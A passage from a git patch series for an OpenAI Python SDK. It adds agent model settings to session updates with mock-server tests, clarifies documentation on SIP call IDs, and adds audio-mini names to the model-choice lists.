+class Agent(TypedDict, total=False):
+ """Model settings for subsequent turns. Omitted fields stay unchanged."""
+
+ model: str
+ """The model for subsequent turns. Omit to keep the current model."""
+
+ reasoning: AgentReasoning
+ """Reasoning settings to update. Omit to keep the current effort."""
+
+ service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]]
+ """The service tier used for model requests.
+
+ - `auto` - Selects the service tier automatically.
+ - `default` - Uses the default service tier.
+ - `flex` - Uses the flex service tier.
+ - `priority` - Uses the priority service tier.
+ - `fast` - Uses the fast service tier.
+ """
diff --git a/tests/api_resources/beta/agents/test_sessions.py b/tests/api_resources/beta/agents/test_sessions.py
index 198475fcbd..5a876be2dd 100644
--- a/tests/api_resources/beta/agents/test_sessions.py
+++ b/tests/api_resources/beta/agents/test_sessions.py
@@ -207,6 +207,11 @@ def test_method_update(self, client: OpenAI) -> None:
def test_method_update_with_all_params(self, client: OpenAI) -> None:
session = client.beta.agents.sessions.update(
session_id="session_id",
+ agent={
+ "model": "model",
+ "reasoning": {"effort": "none"},
+ "service_tier": "auto",
+ },
metadata={"foo": "string"},
)
assert_matches_type(AgentSession, session, path=["response"])
@@ -510,6 +515,11 @@ async def test_method_update(self, async_client: AsyncOpenAI) -> None:
async def test_method_update_with_all_params(self, async_client: AsyncOpenAI) -> None:
session = await async_client.beta.agents.sessions.update(
session_id="session_id",
+ agent={
+ "model": "model",
+ "reasoning": {"effort": "none"},
+ "service_tier": "auto",
+ },
metadata={"foo": "string"},
)
assert_matches_type(AgentSession, session, path=["response"])
diff --git a/tests/test_agent_session_update.py b/tests/test_agent_session_update.py
new file mode 100644
index 0000000000..734753f702
--- /dev/null
+++ b/tests/test_agent_session_update.py
@@ -0,0 +1,56 @@
+from __future__ import annotations
+
+import json
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
+from openai.types.beta.agents.session_update_params import SessionUpdateParams
+
+CASES: list[SessionUpdateParams] = [
+ {},
+ {"agent": {}},
+ {"agent": {"reasoning": {}}},
+ {"agent": {"model": ""}},
+ {"agent": {"model": "gpt-5", "reasoning": {"effort": "low"}, "service_tier": "priority"}},
+ {"agent": {"reasoning": {"effort": None}, "service_tier": None}},
+ {"metadata": {"purpose": "test"}},
+ {"metadata": None},
+ {"metadata": {}},
+]
+
+
+@pytest.mark.parametrize("body", CASES)
+def test_session_update_body(respx2_mock: MockRouter, body: SessionUpdateParams) -> None:
+ route = respx2_mock.post("https://example.test/v1/agents/sessions/session_test").mock(
+ return_value=httpx2.Response(200, json={})
+ )
+
+ with OpenAI(
+ base_url="https://example.test/v1",
+ api_key="test-key",
+ http_client=httpx2.Client(trust_env=False),
+ ) as client:
+ client.beta.agents.sessions.with_raw_response.update("session_test", **body)
+
+ assert route.call_count == 1
+ assert json.loads(route.calls.last.request.content) == body
+
+
+@pytest.mark.parametrize("body", CASES)
+async def test_async_session_update_body(respx2_mock: MockRouter, body: SessionUpdateParams) -> None:
+ route = respx2_mock.post("https://example.test/v1/agents/sessions/session_test").mock(
+ return_value=httpx2.Response(200, json={})
+ )
+
+ async with AsyncOpenAI(
+ base_url="https://example.test/v1",
+ api_key="test-key",
+ http_client=httpx2.AsyncClient(trust_env=False),
+ ) as async_client:
+ await async_client.beta.agents.sessions.with_raw_response.update("session_test", **body)
+
+ assert route.call_count == 1
+ assert json.loads(route.calls.last.request.content) == body
From f0457aba3403f83e91a369ab55e0e55d5f012372 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Thu, 17 Sep 2026 17:11:58 +0000
Subject: [PATCH 158/341] chore(api): clarify incoming SIP call ID usage
(#3885)
## Summary
Clarifies how to use incoming SIP call identifiers with the Realtime and
Live APIs. This update changes documentation only.
## Changes
- Document that incoming call IDs should be passed unchanged to Realtime
accept and reject requests.
- Direct Live API callers to the separate session ID from the incoming
transport event.
Co-authored-by: jbeckwith-oai <269036200+jbeckwith-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +++++++-------
api_reference/openapi.transformed.yml | 11 ++++++-----
.../realtime_call_incoming_webhook_event.py | 8 ++++----
3 files changed, 17 insertions(+), 16 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 031c73da36..2d2727fd52 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 74a960df-99b9-4c71-9ac9-0d187889b488
-openapi_spec_hash: 6128bd8cf634836dd6e219174070539d
-openapi_transformed_spec_hash: d4e61eb3d6c7d23f3ea2cd989d3a3b79
-config_hash: abfd506c4a4bdd94cae1635a850572d7
-codegen_sha: bbe54f26862c58386e6af586826f300a0d90b9ae
-codegen_hash: f633ed564751f71f78c48995933e35d33608098dc2101d8e8228b752d58e8e52
-public_codegen_sha: b6918940ed537495c49df7616c524a5b80111972
+generation_id: c4aef8b5-3304-4011-b2ac-ea161cf5b741
+openapi_spec_hash: 2278dd84fe5845bed1003fc2844e8c84
+openapi_transformed_spec_hash: 1c0a5b0b75063f89a41390ac9babd4bf
+config_hash: cfe0039b58229e34ce223bd13e6ed485
+codegen_sha: 11f43597ea1831a8b50ed5429405ba72c60bd39c
+codegen_hash: 0e0136675d438f15d8e2572b59bb50f6959b5309d003d621ad5160045706e5ac
+public_codegen_sha: cc2ad41a090cf50565fd148ad84d6de6899e3f3b
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 366b2d4284..dd1f846bac 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -65423,10 +65423,9 @@ components:
call_id:
type: string
description: |
- The Transceiver `rtc_...` ID of the pending SIP session. The paired
- `live.transport.incoming` event derives its `session_id` by replacing the
- `rtc_` prefix with `live_`. Use the ID returned by the event with the
- corresponding Realtime or Live API.
+ The ID of the pending SIP call. Pass this value unchanged when
+ accepting or rejecting the call through the Realtime API. For the
+ Live API, use the `session_id` from `live.transport.incoming` instead.
sip_headers:
type: array
description: |
@@ -65472,7 +65471,7 @@ components:
"type": "realtime.call.incoming",
"created_at": 1719168000,
"data": {
- "call_id": "rtc_479a275623b54bdb9b6fbae2f7cbd408",
+ "call_id": "rtc_u0_479a275623b54bdb9b6fbae2f7cbd408",
"sip_headers": [
{"name": "Max-Forwards", "value": "63"},
{"name": "CSeq", "value": "851287 INVITE"},
@@ -79290,6 +79289,7 @@ components:
- $ref: '#/components/schemas/ReasoningEffortParam'
- type: 'null'
description: Omit to keep the current effort. Null selects the model's default effort.
+ x-openai-go-optional-enum: true
additionalProperties: false
description: Reasoning effort for subsequent turns. The reasoning summary stays unchanged.
UpdateSessionAgentParam:
@@ -79308,6 +79308,7 @@ components:
- $ref: '#/components/schemas/ServiceTierParam'
- type: 'null'
description: Omit to keep the current tier. Null resets it to auto.
+ x-openai-go-optional-enum: true
additionalProperties: false
description: Model settings that can change after session creation.
UpdateAgentSessionParams:
diff --git a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
index 54d69cb4db..bc3f5b345e 100644
--- a/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
+++ b/src/openai/types/webhooks/realtime_call_incoming_webhook_event.py
@@ -22,11 +22,11 @@ class Data(BaseModel):
"""Event data payload."""
call_id: str
- """The Transceiver `rtc_...` ID of the pending SIP session.
+ """The ID of the pending SIP call.
- The paired `live.transport.incoming` event derives its `session_id` by replacing
- the `rtc_` prefix with `live_`. Use the ID returned by the event with the
- corresponding Realtime or Live API.
+ Pass this value unchanged when accepting or rejecting the call through the
+ Realtime API. For the Live API, use the `session_id` from
+ `live.transport.incoming` instead.
"""
sip_headers: List[DataSipHeader]
From a6eeb3f5a468ec576d2c911c19ce59c56ac46e43 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Thu, 17 Sep 2026 18:56:32 +0000
Subject: [PATCH 159/341] feat(api): add audio-mini model choices (#3886)
## Summary
Adds typed model names for gpt-audio-mini and gpt-audio-mini-2025-12-15.
## Changes
- Add both audio-mini model names to shared and Responses model choices
- Preserve all existing accepted model names for compatibility
Co-authored-by: jbeckwith-oai <269036200+jbeckwith-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +++---
api_reference/openapi.transformed.yml | 4 +-
.../resources/beta/responses/responses.py | 48 ++++++++++++++-----
src/openai/resources/responses/responses.py | 8 +++-
src/openai/types/beta/beta_response.py | 4 +-
.../types/beta/beta_responses_client_event.py | 4 +-
.../beta/beta_responses_client_event_param.py | 4 +-
.../types/beta/response_compact_params.py | 4 +-
.../types/beta/response_create_params.py | 4 +-
.../responses/response_compact_params.py | 4 +-
src/openai/types/shared/chat_model.py | 4 +-
src/openai/types/shared_params/chat_model.py | 4 +-
12 files changed, 76 insertions(+), 30 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 2d2727fd52..2ae6cc14fc 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: c4aef8b5-3304-4011-b2ac-ea161cf5b741
-openapi_spec_hash: 2278dd84fe5845bed1003fc2844e8c84
-openapi_transformed_spec_hash: 1c0a5b0b75063f89a41390ac9babd4bf
-config_hash: cfe0039b58229e34ce223bd13e6ed485
-codegen_sha: 11f43597ea1831a8b50ed5429405ba72c60bd39c
-codegen_hash: 0e0136675d438f15d8e2572b59bb50f6959b5309d003d621ad5160045706e5ac
-public_codegen_sha: cc2ad41a090cf50565fd148ad84d6de6899e3f3b
+generation_id: 20bfd7ab-509d-4e06-a738-6b7997a79588
+openapi_spec_hash: 4a1df412f60140287d03f567949777a2
+openapi_transformed_spec_hash: 29daece792ba6ce4f97119152a249111
+config_hash: 6b3cc69eb8ac6b5a19e4f865bb7e93fa
+codegen_sha: 5444b90faee0b8b66bed5d5c37e89e48b20c0215
+codegen_hash: 8470c9a0d556140378d8c09218c48626be69d5e076431d74901c7a460e253d95
+public_codegen_sha: cee2edf3b79660c01b00757b62b9419241532657
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index dd1f846bac..dfce098ebf 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -94702,7 +94702,6 @@ components:
- gpt-5.1
- gpt-5.1-2025-11-13
- gpt-5.1-codex
- - gpt-5.1-mini
- gpt-5.1-chat-latest
- gpt-5
- gpt-5-mini
@@ -94733,6 +94732,8 @@ components:
- gpt-4o-2024-11-20
- gpt-4o-2024-08-06
- gpt-4o-2024-05-13
+ - gpt-audio-mini
+ - gpt-audio-mini-2025-12-15
- gpt-4o-audio-preview
- gpt-4o-audio-preview-2024-10-01
- gpt-4o-audio-preview-2024-12-17
@@ -94766,6 +94767,7 @@ components:
- gpt-3.5-turbo-1106
- gpt-3.5-turbo-0125
- gpt-3.5-turbo-16k-0613
+ - gpt-5.1-mini
x-stainless-nominal: false
LiveBuiltInVoice:
type: string
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index c8824c242b..892d0e4e5b 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -139,7 +139,6 @@ def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -170,6 +169,8 @@ def create(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -203,6 +204,7 @@ def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -541,7 +543,6 @@ def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -572,6 +573,8 @@ def create(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -605,6 +608,7 @@ def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -942,7 +946,6 @@ def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -973,6 +976,8 @@ def create(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -1006,6 +1011,7 @@ def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -1341,7 +1347,6 @@ def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -1372,6 +1377,8 @@ def create(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -1405,6 +1412,7 @@ def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -1823,7 +1831,6 @@ def compact(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -1854,6 +1861,8 @@ def compact(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -1887,6 +1896,7 @@ def compact(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -2112,7 +2122,6 @@ async def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -2143,6 +2152,8 @@ async def create(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -2176,6 +2187,7 @@ async def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -2514,7 +2526,6 @@ async def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -2545,6 +2556,8 @@ async def create(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -2578,6 +2591,7 @@ async def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -2915,7 +2929,6 @@ async def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -2946,6 +2959,8 @@ async def create(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -2979,6 +2994,7 @@ async def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -3314,7 +3330,6 @@ async def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -3345,6 +3360,8 @@ async def create(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -3378,6 +3395,7 @@ async def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -3796,7 +3814,6 @@ async def compact(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -3827,6 +3844,8 @@ async def compact(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -3860,6 +3879,7 @@ async def compact(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -5165,7 +5185,6 @@ def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -5196,6 +5215,8 @@ def create(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -5229,6 +5250,7 @@ def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -5416,7 +5438,6 @@ async def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -5447,6 +5468,8 @@ async def create(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -5480,6 +5503,7 @@ async def create(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 022d1f7985..dd75046145 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -1763,7 +1763,6 @@ def compact(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -1794,6 +1793,8 @@ def compact(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -1827,6 +1828,7 @@ def compact(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
@@ -3644,7 +3646,6 @@ async def compact(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -3675,6 +3676,8 @@ async def compact(
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -3708,6 +3711,7 @@ async def compact(
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index 8e2307bc48..f83d2b09b1 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -360,7 +360,6 @@ class BetaResponse(BaseModel):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -391,6 +390,8 @@ class BetaResponse(BaseModel):
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -424,6 +425,7 @@ class BetaResponse(BaseModel):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index ce1eec6150..d5561b23f2 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -341,7 +341,6 @@ class ResponseCreate(BaseModel):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -372,6 +371,8 @@ class ResponseCreate(BaseModel):
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -405,6 +406,7 @@ class ResponseCreate(BaseModel):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index 48c47d4b5b..18f21d4c8c 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -341,7 +341,6 @@ class ResponseCreate(TypedDict, total=False):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -372,6 +371,8 @@ class ResponseCreate(TypedDict, total=False):
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -405,6 +406,7 @@ class ResponseCreate(TypedDict, total=False):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index 50ec8e5de4..907605d682 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -35,7 +35,6 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -66,6 +65,8 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -99,6 +100,7 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index d7cbc258b7..a95aa55bd3 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -148,7 +148,6 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -179,6 +178,8 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -212,6 +213,7 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index ce540c15d2..2d69bf8d16 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -34,7 +34,6 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -65,6 +64,8 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
"gpt-4o-audio-preview-2024-12-17",
@@ -98,6 +99,7 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
+ "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/shared/chat_model.py b/src/openai/types/shared/chat_model.py
index 8d89867993..59733598dd 100644
--- a/src/openai/types/shared/chat_model.py
+++ b/src/openai/types/shared/chat_model.py
@@ -25,7 +25,6 @@
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
- "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -56,6 +55,8 @@
"gpt-4o-2024-11-20",
"gpt-4o-2024-08-06",
"gpt-4o-2024-05-13",
+ "gpt-audio-mini",
+ "gpt-audio-mini-2025-12-15",
"gpt-4o-audio-preview",
"gpt-4o-audio-preview-2024-10-01",
